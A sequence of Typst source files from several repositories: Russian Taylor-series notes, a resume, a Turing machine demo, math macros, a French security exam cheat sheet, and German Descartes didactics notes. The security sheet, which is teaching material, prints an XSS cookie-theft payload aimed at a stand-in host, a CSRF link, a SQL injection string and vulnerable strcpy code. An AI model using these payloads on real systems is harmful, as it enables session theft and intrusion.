Заметим, что $f^((k)) (x_0) = k! dot a_k$, что и требовалось.
]
== Ряд Тейлора
#definition[
Если $f$ бесконечно дифференцируема в точке $x_0$, то ряд
#eq[
$sum_(n = 0)^oo (f^((n)) (x_0)) / n! (x - x_0)^n$
]
называется её *рядом Тейлора* с центром в точке $x_0$.
Если $x_0 = 0$, то ряд Тейлора называется *рядом Маклорена*.
]
#theorem(
"Достаточное условие представимости функции рядом Тейлора",
)[
Если $f$ бесконечно дифференцируема на $(x_0 - h, x_0 + h)$, причём
#eq[
$exists M : forall n in NN : forall x in (x_0 - h, x_0 + h) : space abs(f^((n)) (x)) <= M$
]
То $f(x)$ представима своим рядом Тейлора в точке $x_0$ при всех $x in (x_0 - h, x_0 + h)$
]
#proof[
По теореме о формуле Тейлора с остаточным членом в форме Лагранжа:
#eq[
$f(x) = sum_(k = 0)^n (f^((k)) (x_0)) / k! (x - x_0)^k + (f^((n + 1)) (xi)) / (n + 1)! (x - x_0)^(n + 1); quad xi in (x_0, x )$
]
Следовательно
#eq[
$abs(f(x) - sum_(k = 0)^n (f^((k)) (x_0)) / k! (x - x_0)^k) <= M abs(x - x_0)^(n + 1) / (n + 1)! ->_(n -> oo) 0 $
]
Почему $lim_(n -> oo) x^n / n! = 0$? Заметим, что $n$-ый элемент разложения
экспоненты (имеющий бесконечный радиус сходимости, поэтому для неё априори он
существует) в ряд Маклорена -- это $x^n / n!$, а по необходимому условию
сходимости ряда, он стремится к 0 равномерно.
]
|
|
https://github.com/TheRiceCold/resume | https://raw.githubusercontent.com/TheRiceCold/resume/main/modules/projects.typ | typst | #import "../src/template.typ": *
#cvSection("Projects")
#cvEntry(
title: [#link("https://github.com/thericecold/kaizen")[kaizen]],
society: [],
location: [],
date: [2024 - Present],
description: list(
[*Desktop Environment for developers designed to improve workflow.*],
[*AI Tools*: Implemented Google Gemini and OpenAI ChatGPT prompt],
[*Quicksettings*: Includes options for wifi, bluetooth, audio, display settings],
[*Date Menu*: Includes calendar, weather/forecast, agenda(todo list), timer],
[*Status Bar*: Audio player/visualizer, window commands, screen tools],
)
)
#cvEntry(
title: [#link("https://github.com/thericecold/dots")[dots]],
society: [],
location: [],
date: [2023 - Present],
description: list(
[Managing my desktop machines running NixOS using Git and Flakes],
[Useful configurations accumulated over the years],
)
)
#cvEntry(
title: [#link("https://github.com/thericecold/kou")[kou]],
society: [],
location: [],
date: [2023 - Present],
description: list(
[Social media frontend web application],
[Automate CI/CD workflow using GitHub Actions.],
[Easy development environment setup using docker/docker compose or Nix.],
[Developed using NextJS and TypeScript],
)
)
|
|
https://github.com/LDemetrios/TypstTuringMachine | https://raw.githubusercontent.com/LDemetrios/TypstTuringMachine/main/examples/turing-demo-collection.typ | typst | #import "../turing.typ": *
#set page(fill: black, height: auto, width: auto, margin: (y:0cm))
#set text(fill: white)
#let source = sys.inputs.at("source", default: "./zero.tm")
#let rules = parse-code(read(source))
#let empty = to-arr("_")
#let demo-states = (
"./zero.tm": (to-arr("000"),),
"./aplusb.tm": (to-arr("10+11"),),
"./mirror.tm": (to-arr("10100"),),
"./tandem.tm": (to-arr("110110"),),
"./balanced.tm": (to-arr("(()())"),),
"./less.tm": (to-arr("11<10"),),
"./convertto2.tm": (to-arr("102"),),
"./postfixlogic.tm": (to-arr("01|0&1|"), empty),
"./infixlogic.tm": (to-arr("(0|0|1)&1&0"), empty),
"./factorial.tm": (to-arr("101"),),
"./sorting.tm": (to-arr("101|11|10"), empty, empty, empty,),
)
#let initial-state = demo-states.at(source)
#let (data, endstate) = run(initial-state, rules, lim-steps: 1000)
#trace(data, endstate, break-every: 8)
|
|
https://github.com/yonatanmgr/summaries-template | https://raw.githubusercontent.com/yonatanmgr/summaries-template/main/template/functions.typ | typst | //// COMPUTER SCIENCE
#let python(path) = raw(read(path), lang: "python", block: true)
#let pseudocode(c) = text(lang: "en", font: "New Computer Modern", dir: ltr)[#pseudocode-list(indentation-guide-stroke: .5pt + luma(180))[#c]]
//// MATH
// Formatting
#let QED = place(left, dy: -0.2cm, dx: -0.6cm, $qed$)
#let bar(x) = $overline(#x)$
#let tb(exp, top, bottom) = $attach(limits(#exp), b: #bottom, t: #top)$
// Logic
#let iff = $<=>$
#let iffd = $arrow.double.b.t$
#let arrr = $arrow.r.double$
#let arrl = $arrow.l.double$
// Set theory
#let seq = $subset.eq$
#let suq = $supset.eq$
#let uu = $union$
#let uud = $union.dot$
#let nn = $sect$
#let bs = $without$
#let ub = $union.big$
#let sb = $sect.big$
#let xx = $times$
#let symd = $triangle.t.stroked$
#let RNN = $RR^+_0$
// Linear algebra
#let char(f) = $"char"(#f)$
// Calculus
#let liminff(x) = $limits(lim)_(n->oo) #x$
#let limitn = $limits(lim)_(n->oo)$
#let limto(n) = $limits(lim)_(x->#n)$
#let limtoc(c, n) = $limits(lim)_(#c -> #n)$
#let suminf(a,k) = $sum_(#k=1)^oo #a _#k$
#let int(f) = $integral #f dif x$
#let intt(f, x) = $integral #f dif #x$
// Functions
#let of = $compose$
#let bv(f, s) = $#f bar.v_#s$
#let id(s) = $"id"_#s$
#let Id(s) = $"Id"_#s$
#let inv(f) = $#f^(-1)$
#let Im(f) = $"Im"(#f)$
#let dom(f) = $"dom"(#f)$
// General
#let pm = $plus.minus$
#let A1 = $A_1$
#let A2 = $A_2$
#let B1 = $B_1$
#let B2 = $B_2$
#let an = $a_n$
#let ank = $a_n_k$
|
|
https://github.com/HEIGVD-Experience/docs | https://raw.githubusercontent.com/HEIGVD-Experience/docs/main/S4/ISI/docs/TE/EXAM.typ | typst | #import "/_settings/typst/template-te.typ": *
#show: resume.with(
"Résumé ISI - Examen",
"HEIG-VD",
cols: 4
)
#set text(size:5.5pt)
== Type d’attaquants
- Script kiddy: Jouent avec des outils
- Pirates défi: Attirés par le defi
- Pirates vengeurs: Comme Sony (Par vengeance)
- Pirates par conviction: A but « politique »
- Pirates étatiques: Cyber-guerre / Cyber-espionnage
=== Intentions des attaquants
- Constructives: Test pénétration (pentest)
- Neutres: zone grise
- Destructives: Pirate Malveillances
== Principe CIA
==== Condifentialité (Confidentiality)
- s'assurer que l'information est accessible seulement à ceux qui sont autorisés à y avoir accès
==== Intégrité (Integrity)
- protéger l'exactitude et la complétude de l'information et des méthodes de traitement
==== Disponibilité (Availability)
s'assurer que les utilisateurs autorisés ont accès à l'information et aux ressources associées au
moment et au lieu exigés
== Sécurité du système d'information
Sécurité physique (batiment), organisationelle (procédure, formation), technique (logiciel, transit de données)
=== Cycle de vie
- une prévention (via une protection) contre les incidents de sécurité
- la détection (via une surveillance) de ces dernières
- la réaction (analyse, confinement)
- la récupération (reprise, sanctions éventuelles), puis analyse «post mortem» suite aux dommages survenus
== 5 couches de sécurité
Souvent décrite comme une sécurité sous forme d'onion car composé de plusieurs couche.
1. Physique :
- sécurité physique
2. Réseau :
- architecture et éléments réseau, adressage IP.
3. Protocoles :
- Protocoles de communication, middleware.
4. Hosts :
- systèmes d'exploitation et applications hosts.
5. Applications :
- langages de programmation, applications spécifiques/dédiées, données spécifiques.
== Contrôle d’accès (AAA)
- *Authentication*
- S’assurer que la personne est bien celle qu’elle prétend être
- Déterminer son identité et éventuellement sonrôle
• *Authorization*
- Détermine en fonction de l’identité (ou rôle), que cela soit une personne ou système, si l’accès (ou le traitement) est autorisé
- *Accounting/Auditing*
- S’assurer qu’il soit possible de suivre les accès/traitement qui ont été effectués
- Logging
== 5 principes fondamentaux
1. La sécurité globale est aussi forte que le maillon
le plus faible
2. La sécurité parfaite n’existe pas
3. La sécurité est un processus, pas un produit
4. La sécurité est inversement proportionnelle à la complexité
5. Participation des utilisateurs
== Types de menaces
- Accidentelles: mauvaises manips, suppression
- Environnementales: naturelle ou industrielle
- Délibérées: origine criminelle
== Vulnérabilités
- Matériel: disque saturés / morts
- Logiciel: oubli / incompétence (WEF)
- Réseau: trafic non protégé
- Personnel: manque de formation
- Site (physique): alim instable
- Organisation: enregistrement d'utilisateurs
== Attack Kill Chain
#columns(2)[
Etapes:
1. Collecte d'informations
2. Scanning
3. Enumérations
4. Intrusions
5. Escalade de privilèges
6. Pillage
#colbreak()
7. Nettoyage des traces
8. Backdoors, rootkits
*Malicious and ethical hackers use the same steps*
- Reconnaissance
- Exploit
- Post Exploit
]
== Cassage de mots de passe
Hachage: procédé cryptographique à sens unique
En ligne: requêtes vers site web, serveur,...
Hors ligne: tout en local
=== Etapes
+ Obtenir les empreintes (hash)
+ Attaque
- Force brute: toutes les combinaisons
- Dictionnaire: liste générique/thématique
- Heuristique: variations des éléments des dictionnaires
- Pré-génération d'empreintes
=== Méthode Hellman
Hasher le MDP, réduire le hash, hasher la réduction, ...
=== Rainbow tables
Méthode de Hellman mais avec une réduction différente à chaque étape
La réduction donne une chaine de lettres (plaintext)
- Evite les collisions
- Réduit l'espace nécessaire
- Réduit le temps de calcul
=== Empreinte salées
Ajoute une string aléatoire au mot de passe avant de le hasher. (i.e. le même mot de passe produira des hashs différents)
- Impossible de calculer à l'avance les tables de "crackage"
==== Hashage
- Win 98/ME: LM (LAN Manager)
- Win NT/2k/XP/2003: NTLM et LM
- Win Vista/7/8/10/11: NTLM
==== LAN and NTLAN Manager Hash
- Lan: Hash séparamment les deux parties du MDP, max 14 char (128b)
- NTLAN: Hash tout d'un coup, max 256 char (128b)
=== Identifiants
- vide: DES, sans sel
- 1: MD5 (vieux linux & BSD)
- 2a/2b/2x/2y: Blowfish (OpenBSD)
- 5/6: SHA-256/SHA-512 (Linux/FreeBSD)
- y: yescrypt (Linux & glibc récente)
== Comparaison des méthodes de cassage
#table(
columns: (1.7cm, auto, auto, 1cm, auto, auto),
rows: (1.6cm,auto,auto,auto,auto,auto),
align: horizon+center,
[*Méthode*], [#rotate(270deg)[*Temps préparation*]], [#rotate(270deg)[*Temps cassage*]],[#rotate(270deg)[*Taille mémoire*]],[#rotate(270deg)[*Probabilité succès*]],[#rotate(270deg)[*Sel*]],
"Dictionnaire","0","?","Faible","?","Idem",
"Heuristique","0","?","Faible","?","Idem",
"Force brute","0","O(N)","0","100%","Idem",
"Pré-calcultaion complète","O(N)","0","O(N)","100%","Plus Dur",
"Hellman","Long","Faible","Variable","50 - 95%","Plus Dur",
"Rainbow tables","Long","Faible","Variable","50 - 95%","Plus Dur",
)
== Authentification des emails
- SPF: vérifie que l'expéditeur est autorisé
- DKIM: vérifie signature authentique
=== Protection
- Utiliser TLS (Transport Layer Security protocol)
- Utiliser l'authentification
- Utiliser la messagerie sécurisée
- chiffrement
- signature électronique
== Malware
=== Types
#columns(2)[
- *Virus*
- Code executable
- Se reproduit automatiquement
- S'attache à d'autres programmes / fichiers
- Besoin des utilisateurs pour se propager
- Spyware, Canular, Adware
- Gov-ware, Cyber War
- Trojan, Rootkit, Backdoor
#colbreak()
- *Ver*
- Code executable
- Se reproduit automatiquement
- Se propage via les réseaux
- Autonome (pas besoin d'utilisateurs)
]
== Antivirus
#columns(2)[
Protection sur 4 niveaux recommandé
- Tous les postes clients
- Serveurs de fichiers
#colbreak()
- Serveurs de messagerie
- Proxies internet
]
= Sécurité web
=== Technologie Web
- *Appel HTTP* : Requête (méthode, URI, version) + Corps (données).
- *Réponse HTTP* : Statut (version, code, message) + Corps (données).
- *En-têtes HTTP* :
- Général : `Cache-Control`, `Date`.
- Requêtes : `Accept`, `User-Agent`, `Cookie`, `Authorization`.
- Réponse : `Location`, `Server`, `Set-Cookie`.
- Contenu : `Content-Encoding`, `Content-Length`, `Content-Type`.
- *HTTP sans état* : Chaque requête indépendante.
- *Cookies* : Stockage d'informations utilisateur sur le client.
=== Attaques Web
- Manipulation des données.
- URL initiale : http://site.com/view?item=123, URL manipulée : http://site.com/view?item=124 donc accès à l'item 124 qu'il n'est pas censé voir.
- Contournement de protections côté client.
- Un formulaire de site limite le choix de valeurs à une liste déroulante via JavaScript on désactive JavaScript et soumet une valeur non autorisée.s
- Détournement de session.
- Vole un cookie de session pour se faire passer pour un utilisateur légitime
- XSS (Cross-site scripting).
- Injection de code malveillant dans un champ de saisie. `<script>document.location='http://malicious.com/steal?cookie='+document.cookie</script>` donc vol de cookie.
- CSRF (Cross-site request forgery).
- Crée un lien malveillant qui effectue une action sur un site où l'utilisateur est déjà authentifié `<a href="http://victim.com/transfer?amount=1000&to=hacker">Cliquez ici</a>`
- Injection de commandes (SQL, système).
- Dans un champ ou URL, injecte commande SQL type: `username' OR '1'='1` qui fera `SELECT * FROM users WHERE username='username' OR '1'='1' AND password='';`
- Supression de fichiers
- *Objectifs d'attaque* :
- Contourner la sécurité (authenticité).
- Extraire/modifier des données (confidentialité, intégrité).
- *Points d'injection* :
- Premier ordre : Entrées utilisateur, cookies, URLs.
- Second ordre : Base de données, fichiers uploadés.
- *Protection côté client* : Toujours valider côté serveur.
=== Types d'attaques spécifiques
- *Détournement de session* :
- Récupération d'un identifiant de session (vol de cookie, falsification d'URL).
- *XSS* :
- Reflected XSS : Réponse immédiate, valeur contrôlée par le client.
- Stored XSS : Valeur enregistrée et réutilisée.
- DOM-based XSS : Exploite le code client.
- *CSRF* : Forcer une action malveillante via une URL.
- *Injection de commandes* :
- SQL : Manipulation de requêtes SQL.
- Système : Exécution de commandes systèmes non prévues.
= Cryptographie
#columns(2)[
== Cryptographie
- Chiffrer / Chiffrement
- Déchiffrer / Déchiffrement
*Clé connue*
== Autres
- Plaintext = texte en clair
- Ciphertext = texte chiffré
- HW = Hardware
- SW = Software
#colbreak()
== Cryptanalyse
- Décrypter
- Décryptage
*Clé inconnue*
]
= Chiffrement
== Chiffre de César
- Décalage des lettres (ex: A -> D, B -> E)
== Vernam Cipher (One-Time Pad)
- Clé aléatoire de même longueur que le message, utilisée une seule fois
- Chaque message M nécessite une clé K de même taille
- Aussi connu sous One-Time Pad (OTP)
- Chiffrement :
- C = M ⊕ K
- Déchiffrement :
- M = C ⊕ K
== Cryptographie symétrique (clé secrète)
- Une seule clé pour chiffrer et déchiffrer
- Clé partagée entre émetteur et récepteur
- Critique : gestion des clés
== Block Cipher vs Stream Cipher
- *Block Cipher* : Chiffrement par blocs (ex: AES)
- + : Facile à implémenter, sécurisé
- *Stream Cipher* : Chiffrement par flux (ex: RC4)
- + : Très haut débit, adapté pour le HW
=== Exemple d'algorithme
==== Block Cipher
- DES, Triple-DES, AES, IDEA
==== Stream Cipher
- Chacha20, RC4, A5/1
== DES (Data Encryption Standard)
- Chiffrement par blocs, clé de 56 bits
- Remplacé par AES en 2001
== Triple-DES
- Utilise trois clés de 56 bits
- Plus sûr que DES, mais plus lent
== AES (Advanced Encryption Standard)
- Clés de 128, 192 ou 256 bits
- Plus rapide et plus sûr que DES
== Modes de chiffrement
#columns(2)[
- ECB : Electronic Code Book
- CBC : Cipher Block Chaining
- CFB : Cipher Feedback
#colbreak()
- OFB : Output Feedback
- CTR : CounTeR
- *GCM* : Galois/Counter Mode (chiffrement authentifié)
]
=== CBC (Cipher Block Chaining)
- Chaque bloc chiffré avec la clé et le bloc précédent
= Cryptographie asymétrique (clé publique)
== Diffie-Hellman
- Échange de clés sans secret commun a priori
- Basé sur des fonctions mathématiques difficiles à inverser
== Protocole Diffie-Hellman
1. Choix de p (nombre premier) et g (générateur)
2. Calculs de $A = g^a mod p$ et $B = g^b mod p$
3. Échange de A et B
4. Calcul de $K = B^a mod p$ et $K = A^b mod p$
Clé publique: $n, e$ / clé privée: $p, q, d$
== RSA
- Cryptographie asymétrique utilisant une paire de clés publique/privée
- Inventé en 1977
=== Générations de clés
- $p, q$ : deux nombres premiers aléatoirs de taille $"modulus RSA" / 2$
- $N = p * q$ -> public
- $phi(N) = (p-1)(q-1)$
- $e * d = 1 (mod phi(N))$
- $e$ : chiffrement, $d$ : déchiffrement
== Hash
- Caractérise un message de manière unique
- Utilisé pour mots de passe, signatures digitales
=== Exemples
- MD2, MD4, MD5 (cassé)
- SHA-0, SHA-1 (cassé)
- SHA-2, SHA-3 (recommandé)
== MAC (Message Authentication Code)
Prouve l’origine et l’intégrité du message, *HMAC* (sécurisé), *CBC-MAC* (vulnérable)
== Signature
Prouve l’origine et l’intégrité du message, empêche le déni (non-répudiation)
= Authentification
== Facteurs d'authentification
- Mot de passe
- Carte à puce, badge
- Biométrie (empreinte digitale, reconnaissance faciale)
== Types d'authentification
- Jeton passif (ex: mot de passe)
- Jeton actif (ex: OTP)
- Question/réponse (challenge/response)
- Clé publique
- Autre canal (SMS, email)
= Infrastructure à clé publique (PKI)
== Certificat numérique
- Lie une clé publique à une entité
- Signé par une autorité de certification (CA)
=== Norme X.509v3
- Standard pour les certificats numériques
- Champ obligatoire :
- émetteur (nom de la CA)
- sujet (nom de l'entité)
- clé publique du sujet + alg clé pub
- signature (issue par la CA)
== Utilisation des certificats
- TLS (SSL)
- Authentification client/serveur
== Chaines de certification
- Liste de CA racines de confiance dans navigateurs et systèmes d'exploitation
== Entités et services
- *CA* : Certificate Authority
- *RA* : Registration Authority
- *VA* : Validation Authority
== PKI : Règles
- CPS : « Certification Practice Statement »
- Déclaration des pratiques utilisées par une CA pour émettre les certificats.
- CP : « Certificate Policy »
- Règles sous lesquelles le certificat a été émis (cf. CPS) et types d'utilisations autorisées.
- Formats/syntaxes :
- série PKCS (Public-Key Cryptography Standards) par RSA Laboratories :
- PKCS#5 : chiffrement à partir d'un mot de passe (RFC2898).
- PKCS#10 : demande de certificat (RFC2986).
- PKCS#12 : stockage de la clé privée dans un fichier avec protection d'un PIN (ex: container IE ou Firefox).
= Sécurité logicielle
=== Attaques logicielles connues
==== Heartbleed
- 66% des sites Web touchés
- Vulnérabilité dans la librairie OpenSSL
- Conséquences :
- Vol de clés cryptographiques, clés privées, noms d’utilisateurs, mots de passe, messages, emails, documents sensibles
==== Log4Shell / Log4j
- Bibliothèque de journalisation pour Java, utilisée dans des milliers de programmes
- Charge utile peut être placée dans :
- Champs Web (en-tête, identifiant, mot de passe)
- Fichiers robot.txt ou security.txt
- Enregistrement DNS "TXT"
- Champs d’emails (en-têtes, adresse source)
- Champs des certificats SSL/TLS
- Métadonnées de fichiers (images, PDF, Word, Excel)
- Noms du réseau Wifi ou appareil Bluetooth
==== Memory Overflow
- Écriture/lecture/exécution sans autorisation :
- Exploitation d’un « buffer overflow »
- Interprétation incorrecte des entiers ou des chaînes de caractères
===== Buffer Overflow
- Principe :
- Dépassement de tampon (buffer)
- Écriture au-delà de l'espace réservé
- Exemple de code vulnérable :
```c
void myFunction(char *str) {
char bufferB[16];
strcpy(bufferB, str);
}
void main() {
char bufferA[256];
myFunction(bufferA);
}
```
- Conséquence : Écrasement de la mémoire
===== Shellcode
- Suite d’instructions injectées et exécutées par un programme exploité :
- Utilisé pour buffer overflow
- Doit être petit et exécutable
- Permet diverses actions : ouverture d’accès, lancement de shell, changement de droits, ajout d’utilisateur, ouverture de port
=== Manipulation de la mémoire
=== Protection contre la manipulation
- Stack/heap non-exécutable
- Utilisation de canaris
- Randomisation des adresses mémoire (ASLR)
- Librairies sécurisées :
- Libsafe
- strncpy au lieu de strcpy
- snprintf au lieu de sprintf
- fgets(stdin, str, 10) au lieu de gets(str)
- scanf("%10s", str) au lieu de scanf("%s",str)
- Autres contre-mesures possibles
=== Registres importants (Intel x86)
- EIP (RIP en 64 bits)
- Instruction pointer
- EBP (RBP en 64 bits)
- Base pointer
- ESP (RSP en 64 bits)
- Stack pointer
=== Organisation de la memoire
Lors de l’exécution d’un programme, la mémoire est organisée en segments
- Les sections les plus intéressantes sont :
- Stack: stockage dynamique
- Heap: allocation de mémoire (malloc)
- .bss: données globales initialisées
- .data: données globales non-initialisées
- .text: code exécutable (partagé ?)
= Sécurité réseau
== Liste des ports TCP/UDP
- Ports TCP : 16 bits (65 536)
- « Well-known services » : ports 0 à 1023
== Collecte vs. « Scanning »
=== Phase de Collecte d'Informations
- Examiner les lieux.
=== Phase de Scanning
- *Frapper les murs* pour identifier portes et fenêtres.
- Tester l'ouverture des portes.
=== Objectifs de la Phase de Scanning
1. *Déterminer* les machines vivantes (alive).
2. *Identifier* les services actifs.
3. *Reconnaître* les protocoles réseaux utilisés.
== Objectifs de la phase de « scanning »
=== Port and host scan
- Déterminer les machines vivantes.
- Déterminer les ports ouverts.
=== Service Scan
- Déterminer les services actifs.
- Identifier les protocoles réseaux.
== Découverte d’hôtes
=== Détermination de la Présence de Machines
- *Ping (message ICMP)* pour vérifier les machines vivantes.
=== Outils Typiques
- *Sing (ping avancé)* : broadcast, masquage d'adresse
- *ICMPscan* : scanning via ICMP
- *NMAP* :
- `nmap -sn -PE 192.168.0.0/24` : ping scan, écho ICMP
=== Inconvénients du Ping
- *Filtrage des messages ICMP :* Souvent filtrés par les firewalls.
=== Techniques Alternatives de Scanning
- Envoi de paquets TCP/UDP.
- *Scanner de Ports :* Scanner toutes les adresses IP et ports.
== Scan de Ports : UDP
=== Envoi d'un datagramme UDP au port cible
- *Pas de réponse* : port ouvert.
- *Réponse ICMP "port unreachable"* : port fermé.
=== Commande Nmap
- `nmap -sU`
=== Inconvénients du Scanning UDP
- *Fiabilité Limitée* : Pas de confirmation requise.
== Scan de ports : TCP connect
=== Tentative de Connexion TCP au port cible
- *Port ouvert* : accepte les connexions.
- *Port fermé* : n'accepte pas les connexions.
=== Commande Nmap pour Scan TCP
- `nmap -sT` : scan de ports TCP complet.
=== États de la Connexion TCP
- *SYN-ACK* : port ouvert.
- *SYN* : initiation de connexion.
- *ACK* : confirmation de connexion.
- *RST-ACK* : port fermé.
== Scan de ports : TCP SYN-RST
=== Tentative de Connexion TCP au port cible
- *Ouverture de connexion* : fermeture par RST.
- *Port ouvert* : accepte les connexions.
- *Port fermé* : n'accepte pas les connexions.
=== Commande Nmap pour Scan TCP
- `nmap -sT` : scan de ports TCP complet.
=== États de la Connexion TCP
- *SYN* : initiation de connexion.
- *SYN-ACK* : port ouvert.
- *RST* : fermeture de connexion.
== Scan applicatif
=== Étape de Scanning Avancée
- *Analyse des Couches Supérieures OSI.*
- *Ports spécifiques à certains services.*
=== Commande Nmap pour Scanning Avancé
- `nmap -sV` : informations de service et de version.
== OS Fingerprint
=== Analyse de la Couche TCP/IP
- *Couches :* Réseaux (IP) et Transport (TCP).
=== Caractéristiques Spécifiques
- *TTL* (Time To Live)
- *WIN* (Taille de la fenêtre)
- *DF* (Don't Fragment)
- *ToS* (Type of Service)
=== Utilisation de Paquets Forgés
- *Méthode :* Envoi de paquets forgés pour analyser les réponses.
=== Commande Nmap pour la Détection de l'OS
- `nmap -O` : détection de l'OS.
== Protections contre le « scanning »
=== Bonnes Pratiques Générales
- *Mises à jour régulières* : patchs, versions.
=== Filtrage et Contrôle des Messages ICMP
- *Filtrage ICMP* : bloquer certains types de messages ICMP.
=== Utilisation de Pare-feux et IDS
- Blocage des balayages rapides.
- Bannir IPs suspectes.
=== Utilisation de Proxys Inverses
- Empêcher les scans « Inverse TCP Flag ».
=== Gestion des Bannières
- Réduire les informations divulguées.
=== Port Knocking
- *Principe :* Port fermé ouvert par séquence spécifique.
=== Évaluation de la Sécurité
- *Auto-scan* : scans réguliers de son propre système.
== Énumération
=== Basée sur les informations collectées
- Utiliser les données de scanning pour approfondir la connaissance du réseau.
=== Objectifs d'Énumération
- *Ressources* : Accès, noms, partages réseau.
- *Utilisateurs* : Comptes, groupes.
- *Applications et Services* : Noms, versions.
- *Vulnérabilités* : Identifier les failles.
=== Techniques d'Énumération
- Scanning de partages réseau.
- Interrogation des services réseau.
- Inspection des bannières.
== Types d’intrusions
== « Sniffing »
=== Écoute du Trafic Réseau
- Capturer des informations sensibles, mots de passe.
- *Scan passif* : ports, applicatif.
- Reverse-engineering de protocole.
=== Outil de base
- *Wireshark* : analyse du trafic réseau.
=== Mode Normal des Cartes Réseau
- Paquets filtrés pour performance et confidentialité.
=== Mode Promiscuous
- *Capturer tous les paquets* reçus par la carte réseau.
=== Mode Monitor (RFMON)
- Capturer des paquets sans être associé à un réseau.
== « Spoofing »
=== Falsification d'Identité Source
- Se faire passer pour une autre adresse IP/MAC.
=== Objectifs de la Falsification
- Contourner filtrage de paquets et contrôle d'accès.
- Brouiller les traces.
=== Techniques et Outils
- *Falsification IP/MAC* : modifier l'adresse émise.
== Attaques ARP
=== Empoisonnement du Cache ARP
- *Objectif :* Faire parvenir les messages au pirate.
- *Méthode :* Modifier le cache ARP de la victime.
=== Types d'Attaques ARP
- *Gratuitous ARP* : réponse volontaire sans demande.
- *Réponse ARP non sollicitée*.
- *Réponse ARP forgée*.
- *Requête ARP forgée*.
== DNS cache poisoning
=== DNS
- *Fonction :* Conversion de nom de domaine en adresse IP.
=== Objectifs des Attaques
- *Usurpation d'identité.*
- *Phishing.*
- *Propagation de maliciels.*
=== Moyens d'Attaque
- *Vulnérabilité DNS.*
- *Maliciel.*
- *Man-in-the-Middle (MITM).*
== Session hijacking
=== Vol de Session
- *Objectif :* Accéder à un système sans s'authentifier.
=== Méthodes de Vol de Session
- *TCP* : difficile, nécessite les numéros de séquence.
- *HTTP* : courant, vol de cookie, manipulation d'URL.
== Denial of Service (DoS)
=== Déni de Service (DoS)
- *Objectif :* Nuire à la disponibilité d'un système.
=== Exemples de Techniques
- *SYN Flooding* : épuiser les ressources serveur.
- *Smurf* : amplifier le trafic réseau.
- *DDoS* : attaque coordonnée de multiples sources.
== Distributed DoS (DDoS)
=== Utilisation de Machines "Esclaves"
- *Machines compromises* pour attaques coordonnées.
- *Contrôle à distance* via chat, P2P, etc.
- *Organisation en Botnet*.
=== Exemples historiques
- *Mafiaboy en 2000.*
- *Outils de Anonymous : LOIC*.
= Défense
=== SLS/TLS
==== Concepts
- *SLS*: Security Level Specification
- *TLS*: Target Level of Security
*Objectif*: Sécuriser les communications (développé par Netscape, basé sur SSL, renommé TLS par l'IETF). Appliqué à la couche *application* du modèle OSI.
==== Propositions
- Négociation version SSL/TLS et algorithmes
- Authentification des entités et des données
- Confidentialité et compression des données
==== Utilisation
- *Nouveau protocole*:
- HTTP (port 80) → HTTPS (port 443)
- Avantages: communication sécurisée
- Inconvénients: seuls clients supportant TLS peuvent se connecter
- *Extension protocole*:
- ESMTP avec STARTTLS (TLS optionnel)
- Avantages: client non obligé de supporter TLS mais peut le demander
- Inconvénients: communications potentiellement non sécurisées
==== HTTPS
- Utilisation TLS imposée
- Serveur doit avoir un certificat
- Garantie authenticité serveur et confidentialité communications
- Client peut avoir un certificat (optionnel)
==== SMTP, POP3, IMAP
- *ESMTP, POP3, IMAP*: gestion des emails
- Faiblesses : mots de passe et contenu des emails envoyés en clair
- *TLS*: protège les communications (optionnel)
==== PGP
*PGP (Pretty Good Privacy)*: Sécurisation de texte, emails, fichiers, répertoires par cryptographie hybride (symétrique et asymétrique).
==== Garanties
- Confidentialité des données (chiffrement)
- Authentification et intégrité des données (signature)
==== Algorithmes
- *Hachage*: MD5, SHA-1
- *Chiffrement symétrique*: 3DES, IDEA, AES
- *Asymétriques*: RSA, DSA, ElGamal
==== PGP vs X.509
- *Clé signée*: certificat, lien entre clé publique et identité.
- *X.509*: une seule identité, autorité de certification unique.
- *PGP*: plusieurs identités, signatures multiples possibles.
=== Pare-feu
*Pare-feu*: Protège un réseau des attaques extérieures, placé entre réseau local et externe (Internet).
==== Contrôles d'accès
- *Filtrage statique* (obsolète): inspection de chaque paquet indépendamment.
- *Filtrage dynamique*: décision selon rôle du paquet (client-serveur).
==== Types
- *Réseau*: équipement réseau, filtrage entre deux réseaux (source IP, destination IP, service, ports).
- *Personnel*: logiciel, filtrage entre ordinateur et réseau (application, source IP, destination IP, service, ports).
=== EDR
Protection contre les attaques via un équipement disposant d'un accès privilégié.
- *Réseau*: VPN obligatoire pour tout le trafic.
- *Gestion à distance via agent*: Anti-virus, collecte centralisée des logs vers un SIEM.
= Images
=== Comparaison des méthodes de cassage
#v(50pt)
#rotate(image("/_src/img/docs/image copy 126.png", width: 155pt), 270deg)
#colbreak()
=== Email forgés
#v(60pt)
#rotate(image("/_src/img/docs/image copy 127.png", width: 155pt), 270deg)
#v(30pt)
=== Principe PGP
#v(60pt)
#rotate(image("/_src/img/docs/image copy 128.png", width: 155pt), 270deg) |
|
https://github.com/piepert/philodidaktik-hro-phf-ifp | https://raw.githubusercontent.com/piepert/philodidaktik-hro-phf-ifp/main/src/parts/ephid/descartes/fremdpsychische.typ | typst | Other | #import "/src/template.typ": *
#let med(page) = en[Vgl. Descartes, Renè: AT VII. S. #page.]
== Das #ix("Fremdpsychische", "Fremdpsychisches")
Im Wachsbeispiel gibt es die folgende Passage: "[W]enn ich nicht zufälligerweise vom Fenster auf der Straße vorübergehende Menschen gesehen hätte, von denen ich üblicherweise nicht weniger [...] sage, dass ich sie sehe. Was aber sehe ich außer Hüten und Kleidern, unter denen sich Automaten verbergen könnten?"#en[Descartes, Renè. AT VII. S. 32.] Dort kann das folgende Problem gefunden werden: Gibt es Bewusstsein außer mein eigenes? Kann ich beweisen, dass es Bewusstsein außer men eigenes gibt?
#set par(justify: false)
#grid(columns: (10%, 45%, 45%).map(e => e - 1.5em),
row-gutter: 1em,
column-gutter: 1.5em,
strong[Stufe], strong[Thema im Rahmenplan], strong[Thema bei Descartes],
[5], [
- *Glück und Bewusstsein*: Welcher Zusammenhang besteht zwischen Glück und Selbstbewusstsein?#en[Vgl. @MBWKMV1996_RP56[S. 19]]
], [
- Können nur Dinge, die denken können, glücklich sein? Denken Tiere? Kann ich mir sicher sein, dass Tiere glücklich sein können? Denken Mitmenschen? Kann ich mir sicher sein, dass meine Mitmenschen Glück empfinden können?
],
[6], [
- *Menschen lernen miteinander, voneinander und füreinander:* Was bedeuten die Mitmenschen für mein Leben?#en[Vgl. @MBWKMV1996_RP56[S. 28]]
], [
- Denken meine Mitmenschen? Projektion auf die Frage: Lernen meine Mitmenschen so wie ich?
],
[7], [
